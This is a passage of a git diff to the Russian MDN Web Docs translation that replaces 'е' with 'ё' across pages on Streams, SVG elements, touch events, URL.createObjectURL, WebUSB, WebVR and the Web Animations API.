<dd>Предоставляет стандартную абстракцию, известную как раковина, для записи потоков по месту назначения. Этот объект идёт вместе со встроенными методами контроля обратного потока и созданием очередей.</dd> <dt>{{domxref("WritableStreamDefaultWriter")}}</dt> <dd>Представляет запись потока по умолчанию, которая может использоваться для записи фрагментов данных в записываемый поток.</dd> <dt>{{domxref("WritableStreamDefaultController")}}</dt> - <dd>Представляет собой контроллер состояния {{domxref("WritableStream")}}. При создании <code>WritableStream</code>, создается также соответствующий экземпляр <code>WritableStreamDefaultController</code>.</dd> + <dd>Представляет собой контроллер состояния {{domxref("WritableStream")}}. При создании <code>WritableStream</code>, создаётся также соответствующий экземпляр <code>WritableStreamDefaultController</code>.</dd> </dl> <h3 id="Дополнительные_API_и_операции_по_работе_с_потоками">Дополнительные API и операции по работе с потоками</h3> @@ -59,7 +59,7 @@ translation_of: Web/API/Streams_API <dt>{{domxref("ByteLengthQueuingStrategy")}}</dt> <dd>Предоставляет встроенную стратегию длины байт-очереди, которая может быть использована при построении потоков.</dd> <dt>{{domxref("CountQueuingStrategy")}}</dt> - <dd>Предоставляет встроенную стратегию организации очередей подсчета чанков, которая может использоваться при построении потоков.</dd> + <dd>Предоставляет встроенную стратегию организации очередей подсчёта чанков, которая может использоваться при построении потоков.</dd> </dl> <h3 id="Дополнения_к_другим_API">Дополнения к другим API</h3> @@ -68,7 +68,7 @@ translation_of: Web/API/Streams_API <dt>{{domxref("Request")}}</dt> <dd>При создании нового объекта типа <code>Request</code>, вы можете добавить {{domxref("ReadableStream")}} в свойство <code>body</code> его словаря <code>RequestInit</code>. Этот объект типа <code>Request</code> может быть отправлен в {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, чтобы начать загрузку потока.</dd> <dt>{{domxref("Body")}}</dt> - <dd>Ответ {{domxref("Body")}} возвращенный успешному <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросу</a> вывешивается по умолчанию как {{domxref("ReadableStream")}}, и может иметь получателя прикрепленного к нему и тп.</dd> + <dd>Ответ {{domxref("Body")}} возвращённый успешному <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросу</a> вывешивается по умолчанию как {{domxref("ReadableStream")}}, и может иметь получателя прикреплённого к нему и тп.</dd> </dl> <h3 id="Интерфейсы_в_дополнение_к_ByteStream">Интерфейсы в дополнение к ByteStream</h3> diff --git a/files/ru/web/api/svgaelement/index.html b/files/ru/web/api/svgaelement/index.html index 7bd391a9ff..16d0806808 100644 --- a/files/ru/web/api/svgaelement/index.html +++ b/files/ru/web/api/svgaelement/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/SVGAElement <dt>{{domxref("SVGAElement.hreflang")}}</dt> <dd>Является {{domxref("DOMString")}}, который отражает атрибут <code>hreflang</code>, указывающий язык связанного ресурса.</dd> <dt>{{domxref("SVGAElement.ping")}}</dt> - <dd>Является {{domxref("DOMString")}}, отражая атрибут ping, содержащий список URL-адресов, разделенных пробелами, к которым, когда выполняется гиперссылка, {{HTTPMethod("POST")}} запрос с телом <code>PING</code> будет отправлен браузером (в фоновом режиме). Обычно используется для отслеживания.</dd> + <dd>Является {{domxref("DOMString")}}, отражая атрибут ping, содержащий список URL-адресов, разделённых пробелами, к которым, когда выполняется гиперссылка, {{HTTPMethod("POST")}} запрос с телом <code>PING</code> будет отправлен браузером (в фоновом режиме). Обычно используется для отслеживания.</dd> <dt>{{domxref("SVGAElement.referrerPolicy")}}</dt> <dd>См. {{domxref("HTMLAnchorElement.referrerPolicy")}}.</dd> <dt>{{domxref("SVGAElement.rel")}}</dt> diff --git a/files/ru/web/api/svgaelement/target/index.html b/files/ru/web/api/svgaelement/target/index.html index d8e3ba1aa2..4af2cede02 100644 --- a/files/ru/web/api/svgaelement/target/index.html +++ b/files/ru/web/api/svgaelement/target/index.html @@ -48,7 +48,7 @@ linkRef.target ='_blank'; <h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("api.SVGAElement.target")}}</p> diff --git a/files/ru/web/api/svggraphicselement/index.html b/files/ru/web/api/svggraphicselement/index.html index 86f9e76035..eca4dd9c22 100644 --- a/files/ru/web/api/svggraphicselement/index.html +++ b/files/ru/web/api/svggraphicselement/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/SVGGraphicsElement <p>{{InheritanceDiagram(600, 120)}}</p> <div class="note"> -<p><strong>Note:</strong> Этот интерфейс был введен в SVG 2 и заменяет интерфейсы {{domxref("SVGLocatable")}} и {{domxref("SVGTransformable")}} из SVG 1.1.</p> +<p><strong>Note:</strong> Этот интерфейс был введён в SVG 2 и заменяет интерфейсы {{domxref("SVGLocatable")}} и {{domxref("SVGTransformable")}} из SVG 1.1.</p> </div> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/svgtextcontentelement/index.html b/files/ru/web/api/svgtextcontentelement/index.html index 384958a557..8a7c2f356f 100644 --- a/files/ru/web/api/svgtextcontentelement/index.html +++ b/files/ru/web/api/svgtextcontentelement/index.html @@ -93,7 +93,7 @@ translation_of: Web/API/SVGTextContentElement <tr> <td>{{SpecName("SVG2", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}</td> <td>{{Spec2("SVG2")}}</td> - <td>Измененное наследование от {{domxref("SVGElement")}} до {{domxref("SVGGraphicsElement")}} и <code>getStartPositionOfChar()</code> удаленных реализаций {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интерфейсов и <code>getEndPositionOfChar()</code>, чтобы вернуть {{domxref("DOMPoint")}} вместо {{domxref( "SVGPoint")}}.</td> + <td>Изменённое наследование от {{domxref("SVGElement")}} до {{domxref("SVGGraphicsElement")}} и <code>getStartPositionOfChar()</code> удалённых реализаций {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интерфейсов и <code>getEndPositionOfChar()</code>, чтобы вернуть {{domxref("DOMPoint")}} вместо {{domxref( "SVGPoint")}}.</td> </tr> <tr> <td>{{SpecName("SVG1.1", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}</td> @@ -105,6 +105,6 @@ translation_of: Web/API/SVGTextContentElement <h2 id="Совместимость_с_браузером">Совместимость с браузером</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("api.SVGTextContentElement")}}</p> diff --git a/files/ru/web/api/svgtextelement/index.html b/files/ru/web/api/svgtextelement/index.html index f1e27d56a3..2ccbf4d576 100644 --- a/files/ru/web/api/svgtextelement/index.html +++ b/files/ru/web/api/svgtextelement/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/SVGTextElement <td>{{SpecName("SVG2", "text.html#InterfaceSVGTextElement", "SVGTextElement")}}</td> <td>{{Spec2("SVG2")}}</td> <td> - <p>Удален реализованный<br> + <p>Удалён реализованный<br> интерфейс {{domxref("SVGTransformable")}}.</p> </td> </tr> @@ -49,7 +49,7 @@ translation_of: Web/API/SVGTextElement <h2 id="Совместимость_с_браузером">Совместимость с браузером</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("api.SVGTextElement")}}</p> </div> diff --git a/files/ru/web/api/text/index.html b/files/ru/web/api/text/index.html index f8e5f25f0e..625848211b 100644 --- a/files/ru/web/api/text/index.html +++ b/files/ru/web/api/text/index.html @@ -32,7 +32,7 @@ translation_of: Web/API/Text <p>Возвращает флаг {{domxref("Boolean")}}, сигнализирующий, содержит ли (или нет) text node только пробел(ы).</p> </dd> <dt>{{domxref("Text.wholeText")}} {{readonlyInline}}</dt> - <dd>Возвращает {{domxref("DOMString")}}, который содержит все <code>Text</code> nodes логически примыкающие к этому {{domxref("Node")}}, соединенные как в документе.</dd> + <dd>Возвращает {{domxref("DOMString")}}, который содержит все <code>Text</code> nodes логически примыкающие к этому {{domxref("Node")}}, соединённые как в документе.</dd> <dt>{{domxref("Text.assignedSlot")}} {{readonlyinline}}</dt> <dd>Возвращает объект {{domxref("HTMLSlotElement")}}, связанный с этим элементом.</dd> </dl> @@ -76,7 +76,7 @@ translation_of: Web/API/Text <td>{{SpecName('DOM WHATWG', '#text', 'Text')}}</td> <td>{{Spec2('DOM WHATWG')}}</td> <td>Удалено свойство <code>isElementContentWhitespace</code>.<br> - <code>Удален метод replaceWholeText()</code>.<br> + <code>Удалён метод replaceWholeText()</code>.<br> Добавлен конструктор <code>Text()</code>.<br> Добавлено свойство <code>assignedSlot</code>.</td> </tr> diff --git a/files/ru/web/api/touch_events/index.html b/files/ru/web/api/touch_events/index.html index 0784963a41..fd86517821 100644 --- a/files/ru/web/api/touch_events/index.html +++ b/files/ru/web/api/touch_events/index.html @@ -93,7 +93,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> } </pre> -<p>Она вызывает {{domxref("event.preventDefault()")}} для того, чтобы предотвратить обработку браузером события касания (это также предотвращает обработку события мыши). Затем мы получаем контекст и извлекаем список измененных точек касаний из свойства {{domxref("TouchEvent.changedTouches")}} данного события.</p> +<p>Она вызывает {{domxref("event.preventDefault()")}} для того, чтобы предотвратить обработку браузером события касания (это также предотвращает обработку события мыши). Затем мы получаем контекст и извлекаем список изменённых точек касаний из свойства {{domxref("TouchEvent.changedTouches")}} данного события.</p> <p>После этого мы перебираем все объекты {{domxref("Touch")}} в списке, помещая их в массив активных точек касания и рисуя начальную точку в виде маленького кружка; мы используем линию толщиной 4 пикселя, поэтому получим аккуратный круг радиусом 4 пикселя.</p> @@ -131,7 +131,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> } </pre> -<p>Функция также перебирает измененные касания, ищет в нашем массиве данных о касаниях предыдущие данные о каждом касании для определения начальной точки каждого отрезка линии, который должен быть нарисован с помощью касания. Это реализовано путем отслеживания свойства {{domxref("Touch.identifier")}} каждого касания. Это свойство является уникальным числом для каждого касания, и остается неизменным на протяжении всего времени контакта пальца с экраном.</p> +<p>Функция также перебирает изменённые касания, ищет в нашем массиве данных о касаниях предыдущие данные о каждом касании для определения начальной точки каждого отрезка линии, который должен быть нарисован с помощью касания. Это реализовано путём отслеживания свойства {{domxref("Touch.identifier")}} каждого касания. Это свойство является уникальным числом для каждого касания, и остаётся неизменным на протяжении всего времени контакта пальца с экраном.</p> <p>Это позволяет нам получать координаты предыдущей позиции каждого касания и использовать подходящий метод "canvas-контекста" для рисования отрезка линии, соединяющего начало и конец.</p> @@ -139,7 +139,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <h4 id="Обработка_завершения_касания">Обработка завершения касания</h4> -<p>Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрабатываем его, вызывая функцию <code>handleEnd()</code>, которая представлена ниже. Ее задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.</p> +<p>Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрабатываем его, вызывая функцию <code>handleEnd()</code>, которая представлена ниже. Её задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.</p> <pre class="brush: js notranslate">function handleEnd(evt) { evt.preventDefault(); @@ -167,9 +167,9 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> } </pre> -<p>Она очень похожа на предыдущую функцию; единственное отличие заключается в том, что,что теперь мы рисуем маленький квадрат, чтобы обозначить конец, и в том, что когда мы мы вызываем <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">Array.splice()</a></code>, мы просто удаляем старую запись из текущего списка касаний без добавления обновленной информации. В результате мы прекращаем отслеживать эту точку касания.</p> +<p>Она очень похожа на предыдущую функцию; единственное отличие заключается в том, что,что теперь мы рисуем маленький квадрат, чтобы обозначить конец, и в том, что когда мы мы вызываем <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">Array.splice()</a></code>, мы просто удаляем старую запись из текущего списка касаний без добавления обновлённой информации. В результате мы прекращаем отслеживать эту точку касания.</p> -<h4 id="Обработка_отмененных_касаний">Обработка отмененных касаний</h4> +<h4 id="Обработка_отменённых_касаний">Обработка отменённых касаний</h4> <p>Если палец пользователя перемещается в интерфейс браузера или прикосновение должно быть отменено, отправляется событие {{domxref("Element/touchcancel_event", "touchcancel")}}, и мы вызываем функцию <code>handleCancel()</code>, приведённую ниже.</p> @@ -330,8 +330,8 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <h3 id="Firefox_события_касаний_и_многопроцессность_e10s">Firefox, события касаний и многопроцессность (e10s)</h3> -<p>В Firefox события касания отключены, когда отключен e10s (электролиз; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">многопроцессорный Firefox</a>). e10s включен по умолчанию в Firefox, но может в конечном итоге отключаться в определенных ситуациях, например, когда установлены определенные инструменты специальных возможностей или надстройки Firefox, для работы которых требуется отключение e10s. Это означает, что даже на настольном компьютере / ноутбуке с сенсорным экраном сенсорные события не будут включены.</p> +<p>В Firefox события касания отключены, когда отключён e10s (электролиз; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">многопроцессорный Firefox</a>). e10s включён по умолчанию в Firefox, но может в конечном итоге отключаться в определённых ситуациях, например, когда установлены определённые инструменты специальных возможностей или надстройки Firefox, для работы которых требуется отключение e10s. Это означает, что даже на настольном компьютере / ноутбуке с сенсорным экраном сенсорные события не будут включены.</p> -<p>Вы можете проверить, отключен ли e10s, перейдя в <code>about:support</code> и посмотрев на запись «Многопроцессорная Windows» в разделе «Основы приложения». 1/1 означает, что он включен, 0/1 означает отключен.</p> +<p>Вы можете проверить, отключён ли e10s, перейдя в <code>about:support</code> и посмотрев на запись «Многопроцессорная Windows» в разделе «Основы приложения». 1/1 означает, что он включён, 0/1 означает отключен.</p> -<p>Если вы хотите принудительно включить e10s - чтобы явно повторно включить поддержку сенсорных событий - вам нужно перейти к <code>about:config</code> и создать новое логическое предпочтение <code>browser.tabs.remote.force-enable</code>. Установите значение <code>true</code>, перезапустите браузер, и e10s будет включен независимо от любых других настроек.</p> +<p>Если вы хотите принудительно включить e10s - чтобы явно повторно включить поддержку сенсорных событий - вам нужно перейти к <code>about:config</code> и создать новое логическое предпочтение <code>browser.tabs.remote.force-enable</code>. Установите значение <code>true</code>, перезапустите браузер, и e10s будет включён независимо от любых других настроек.</p> diff --git a/files/ru/web/api/touchevent/index.html b/files/ru/web/api/touchevent/index.html index 2f5fa25eee..d141c8daa5 100644 --- a/files/ru/web/api/touchevent/index.html +++ b/files/ru/web/api/touchevent/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/TouchEvent <dl> <dt>{{domxref("TouchEvent.TouchEvent", "TouchEvent()")}}</dt> - <dd>Создает экземпляр <code>TouchEvent</code>.</dd> + <dd>Создаёт экземпляр <code>TouchEvent</code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -65,7 +65,7 @@ translation_of: Web/API/TouchEvent <p>Цель события - тот же экземпляр {{ domxref("Element") }}, что и для события <code>touchstart</code> с соответствующей точкой касания, даже если точка касания переместилась за пределы элемента.</p> -<p>Точки касания, удаленные с поверхности, содержатся в списке {{ domxref("TouchList") }}, который можно получить через атрибут <code>changedTouches</code> события.</p> +<p>Точки касания, удалённые с поверхности, содержатся в списке {{ domxref("TouchList") }}, который можно получить через атрибут <code>changedTouches</code> события.</p> <h3 id="domxrefElementtouchmove_event_touchmove">{{domxref("Element/touchmove_event", "touchmove")}}</h3> diff --git a/files/ru/web/api/url/createobjecturl/index.html b/files/ru/web/api/url/createobjecturl/index.html index bff6b425d5..01201cc4b0 100644 --- a/files/ru/web/api/url/createobjecturl/index.html +++ b/files/ru/web/api/url/createobjecturl/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/URL/createObjectURL <h2 id="Определение">Определение</h2> -<p><strong><code>URL.createObjectURL()</code></strong> - статический метод, который создает {{domxref("DOMString")}}, содержащий URL с указанием на объект, заданный как параметр. Время жизни URL связано с {{domxref("document")}} окна в котором он был создан. Новый URL объект может представлять собой {{domxref("File")}} объект или {{domxref("Blob")}} объект.</p> +<p><strong><code>URL.createObjectURL()</code></strong> - статический метод, который создаёт {{domxref("DOMString")}}, содержащий URL с указанием на объект, заданный как параметр. Время жизни URL связано с {{domxref("document")}} окна в котором он был создан. Новый URL объект может представлять собой {{domxref("File")}} объект или {{domxref("Blob")}} объект.</p> <p>{{AvailableInWorkers}}</p> @@ -23,7 +23,7 @@ translation_of: Web/API/URL/createObjectURL </dl> <dl> - <dd>Объект типа {{domxref("File")}} или {{domxref("Blob")}} для которого создается URL объект.</dd> + <dd>Объект типа {{domxref("File")}} или {{domxref("Blob")}} для которого создаётся URL объект.</dd> </dl> <ul> @@ -35,7 +35,7 @@ translation_of: Web/API/URL/createObjectURL <h2 id="Заметки">Заметки</h2> -<p>При каждом вызове <code>createObjectURL()</code>, создается новый URL объект, даже если он уже был ранее создан для того же самого объекта. Память для каждого из них нужно освобождать с помощью {{domxref("URL.revokeObjectURL()")}}, в том случае, если они больше не нужны. Браузер сделает это автоматически с выгрузкой объекта, тем не менее в целях оптимизации производительности и использования памяти, следует принудительно выгружать их по возможности.</p> +<p>При каждом вызове <code>createObjectURL()</code>, создаётся новый URL объект, даже если он уже был ранее создан для того же самого объекта. Память для каждого из них нужно освобождать с помощью {{domxref("URL.revokeObjectURL()")}}, в том случае, если они больше не нужны. Браузер сделает это автоматически с выгрузкой объекта, тем не менее в целях оптимизации производительности и использования памяти, следует принудительно выгружать их по возможности.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/usb/requestdevice/index.html b/files/ru/web/api/usb/requestdevice/index.html index bb162ad242..5ec208774e 100644 --- a/files/ru/web/api/usb/requestdevice/index.html +++ b/files/ru/web/api/usb/requestdevice/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/USB/requestDevice <p>Этот пример запрашивает любое из перечисленных USB-устройств. Обратите внимание, указаны два разных PID. Оба присутствуют в списке фильтров для <code>requestDevice()</code>. При этом браузер покажет окно для выбора и подтверждения доступа к устройству. Только выбранное пользователем устройство будет передано в <code>then()</code>.</p> -<p>Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID <code>0xa800</code>, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и еще одно, совпадающее со вторым, будут показаны все три устройства.</p> +<p>Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID <code>0xa800</code>, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и ещё одно, совпадающее со вторым, будут показаны все три устройства.</p> <pre class="brush: js notranslate">const filters = [ {vendorId: 0x1209, productId: 0xa800}, diff --git a/files/ru/web/api/vrdisplay/requestpresent/index.html b/files/ru/web/api/vrdisplay/requestpresent/index.html index 9537b94035..acdb59197f 100644 --- a/files/ru/web/api/vrdisplay/requestpresent/index.html +++ b/files/ru/web/api/vrdisplay/requestpresent/index.html @@ -27,9 +27,9 @@ translation_of: Web/API/VRDisplay/requestPresent <div> <ul> - <li>Если {{domxref("VRDisplayCapabilities.canPresent")}} ложно или если массив объектов VRLayer содержит более чем {{domxref("VRDisplayCapabilities.maxLayers")}} слоев, произойдёт переход в состояние "отклонено".</li> + <li>Если {{domxref("VRDisplayCapabilities.canPresent")}} ложно или если массив объектов VRLayer содержит более чем {{domxref("VRDisplayCapabilities.maxLayers")}} слоёв, произойдёт переход в состояние "отклонено".</li> <li>Если объект {{domxref("VRDisplay")}} уже отображает сцену, то вызов его метода <code>requestPresent()</code> обновит массив отображаемых <code>VRLayer</code> объектов.</li> - <li>Если объект <code>VRDisplay</code> уже отображает сцену, а вызов метода <code>requestPresent()</code> приведет к возврату Promise в состоянии "отклонено", то отображение сцены прекратится.</li> + <li>Если объект <code>VRDisplay</code> уже отображает сцену, а вызов метода <code>requestPresent()</code> приведёт к возврату Promise в состоянии "отклонено", то отображение сцены прекратится.</li> <li>If <code>requestPresent()</code> is called outside of an engagement gesture the promise will be rejected unless the <code>VRDisplay</code> was already presenting. This engagement gesture is also sufficient to allow <code><a href="/en-US/docs/Web/API/Element/requestPointerLock">requestPointerLock()</a></code> calls until presentation has ended.</li> </ul> </div> diff --git a/files/ru/web/api/vrdisplayevent/index.html b/files/ru/web/api/vrdisplayevent/index.html index 8b8c2bee90..9847e7e521 100644 --- a/files/ru/web/api/vrdisplayevent/index.html +++ b/files/ru/web/api/vrdisplayevent/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/VRDisplayEvent <dl> <dt>{{domxref("VRDisplayEvent.VRDisplayEvent()")}}</dt> - <dd>Создает экземпляр объекта VRDisplayEvent.</dd> + <dd>Создаёт экземпляр объекта VRDisplayEvent.</dd> </dl> <h2 id="Properties">Properties</h2> diff --git a/files/ru/web/api/vrframedata/index.html b/files/ru/web/api/vrframedata/index.html index 5fe9d79079..babe98004a 100644 --- a/files/ru/web/api/vrframedata/index.html +++ b/files/ru/web/api/vrframedata/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/VRFrameData <dl> <dt>{{domxref("VRFrameData.VRFrameData()")}}</dt> - <dd>Создает экземпляр объекта VRFrameData.</dd> + <dd>Создаёт экземпляр объекта VRFrameData.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/web_animations_api/index.html b/files/ru/web/api/web_animations_api/index.html index bb8ac2a631..7e9f416702 100644 --- a/files/ru/web/api/web_animations_api/index.html +++ b/files/ru/web/api/web_animations_api/index.html @@ -6,7 +6,7 @@ translation_of: Web/API/Web_Animations_API <p>{{DefaultAPISidebar("Веб-анимация")}} {{SeeCompatTable()}}</p> <div class="summary"> -<p>API веб-анимации позволяет синхронизировать и сроки изменения представления веб-страницы, то есть анимации элементов DOM. Она делает это путем объединения двух моделей: Модель синхронизации и анимации модели.</p> +<p>API веб-анимации позволяет синхронизировать и сроки изменения представления веб-страницы, то есть анимации элементов DOM. Она делает это путём объединения двух моделей: Модель синхронизации и анимации модели.</p> </div> <h2 id="Основные_понятия_и_использование_API">Основные понятия и использование API</h2> @@ -28,7 +28,7 @@ translation_of: Web/API/Web_Animations_API <dt>{{Domxref("DocumentTimeline")}}</dt> <dd>Представляет временные рамки анимации, в том числе временные рамки анимации по умолчанию для документа (через свойство {{domxref("Document.timeline")}}).</dd> <dt>{{Domxref("AnimationEffectTiming")}}</dt> - <dd>Объект, содержащий временные свойства, возвращенные {{domxref("KeyframeEffect.timing", "сроки")}} атрибут {{domxref("KeyframeEffect")}}. Он наследует свои свойства от {{domxref("AnimationEffectTimingReadOnly")}}, но в не только чтение формы.</dd> + <dd>Объект, содержащий временные свойства, возвращённые {{domxref("KeyframeEffect.timing", "сроки")}} атрибут {{domxref("KeyframeEffect")}}. Он наследует свои свойства от {{domxref("AnimationEffectTimingReadOnly")}}, но в не только чтение формы.</dd> <dt>{{Domxref("SharedKeyframeList")}}</dt> <dd>Представляет собой последовательность ключевых кадров , которые могут быть разделены между {{domxref("KeyframeEffect")}} объектов. Используя <code>SharedKeyframeList</code>объекты, несколько <code>KeyframeEffect</code>объектов могут повторно использовать одни и те же ключевые кадры , не заплатив стоимость разбора их несколько раз.</dd> <dt>{{domxref("AnimationEffectTimingProperties")}}</dt> @@ -58,7 +58,7 @@ translation_of: Web/API/Web_Animations_API <h2 id="Веб-анимация_для_чтения_только_интерфейсы">Веб-анимация для чтения только интерфейсы</h2> -<p>Следующие интерфейсы включены в спецификации для таких целей, как определение функции, используемые в нескольких других местах, или служить в качестве основы для нескольких интерфейсов, которые могут быть использованы в качестве значений одних и тех же свойств. Вы бы не напрямую использовать их в работе веб-разработки, но они могут быть интересны для авторов библиотеки, чтобы понять, как эта технология работает, так что их реализации могут быть более эффективными, или для инженеров браузеров, которые ищут более легкой ссылки, чем спецификация обеспечивает.</p> +<p>Следующие интерфейсы включены в спецификации для таких целей, как определение функции, используемые в нескольких других местах, или служить в качестве основы для нескольких интерфейсов, которые могут быть использованы в качестве значений одних и тех же свойств. Вы бы не напрямую использовать их в работе веб-разработки, но они могут быть интересны для авторов библиотеки, чтобы понять, как эта технология работает, так что их реализации могут быть более эффективными, или для инженеров браузеров, которые ищут более лёгкой ссылки, чем спецификация обеспечивает.</p> <dl> <dt>{{Domxref("AnimationEffectTimingReadOnly")}}</dt> diff --git a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html index d050b43cb8..e19524852d 100644 --- a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html +++ b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API --- <p>{{DefaultAPISidebar("Web Animations")}}</p> -<p class="summary">Web Animations API позволяет нам создать анимацию и управлять её воспроизведением с помощью JavaScript. Эта статья будет правильным руководством для старта c веселыми демками и уроками с Алисой в Стране Чудес.</p> +<p class="summary">Web Animations API позволяет нам создать анимацию и управлять её воспроизведением с помощью JavaScript. Эта статья будет правильным руководством для старта c весёлыми демками и уроками с Алисой в Стране Чудес.</p> <h2 id="Встречайте_Web_Animations_API">Встречайте Web Animations API</h2> @@ -18,7 +18,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <h2 id="Поддержка_Браузеров">Поддержка Браузеров</h2> -<p>Основы и компоненты Web Animations API, описанные в этой статье доступны в Firefox 48+ и Chrome 36+. Webkit и Edge перешли на API соответственно, но пока нет полной поддержки во всех браузерах, есть удобная служба проверки <a href="https://github.com/web-animations/web-animations-js">handy maintained polyfill</a> которая тестирует и добавляет ее при необходимости.</p> +<p>Основы и компоненты Web Animations API, описанные в этой статье доступны в Firefox 48+ и Chrome 36+. Webkit и Edge перешли на API соответственно, но пока нет полной поддержки во всех браузерах, есть удобная служба проверки <a href="https://github.com/web-animations/web-animations-js">handy maintained polyfill</a> которая тестирует и добавляет её при необходимости.</p> <h2 id="Написание_CSS_Animations_вместе_с_Web_Animations_API">Написание CSS Animations вместе с Web Animations API</h2> @@ -26,11 +26,11 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <h3 id="CSS_версия">CSS версия</h3> -<p>Вот такая анимация написана в CSS, показывающая, как Алиса падает в кроличью нору, которая ведет в страну чудес (см. полный код на<a href="http://codepen.io/rachelnabors/pen/QyOqqW"> Codepen</a>):</p> +<p>Вот такая анимация написана в CSS, показывающая, как Алиса падает в кроличью нору, которая ведёт в страну чудес (см. полный код на<a href="http://codepen.io/rachelnabors/pen/QyOqqW"> Codepen</a>):</p> <p><a href="http://codepen.io/rachelnabors/pen/rxpmJL"><img alt="Alice Tumbling down the rabbit's hole." src="https://mdn.mozillademos.org/files/13843/tumbling-alice_optimized.gif" style="display: block; height: 374px; margin-left: auto; margin-right: auto; width: 700px;"></a></p> -<p>Заметьте, что фон двигается, Алиса крутится и ее цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощенный код CSS, который управляет движением Алисы.</p> +<p>Заметьте, что фон двигается, Алиса крутится и её цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощённый код CSS, который управляет движением Алисы.</p> <pre class="brush: css notranslate">#alice { animation: aliceTumbling infinite 3s linear; @@ -50,7 +50,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API } }</pre> -<p>Изменение цвета Алисы и ее вращение в течение 3 секунд при постоянной (линейной) скорости и бесконечном цикле. В <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> блоке мы видим, что 30% из всего цикла (около 9 секунд), цвет Алисы меняется от черного до насыщенного бордового, а потом снова в черный к концу цикла.</p> +<p>Изменение цвета Алисы и её вращение в течение 3 секунд при постоянной (линейной) скорости и бесконечном цикле. В <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> блоке мы видим, что 30% из всего цикла (около 9 секунд), цвет Алисы меняется от чёрного до насыщенного бордового, а потом снова в чёрный к концу цикла.</p> <h3 id="Движение_в_JavaScript">Движение в JavaScript</h3> @@ -66,13 +66,13 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', 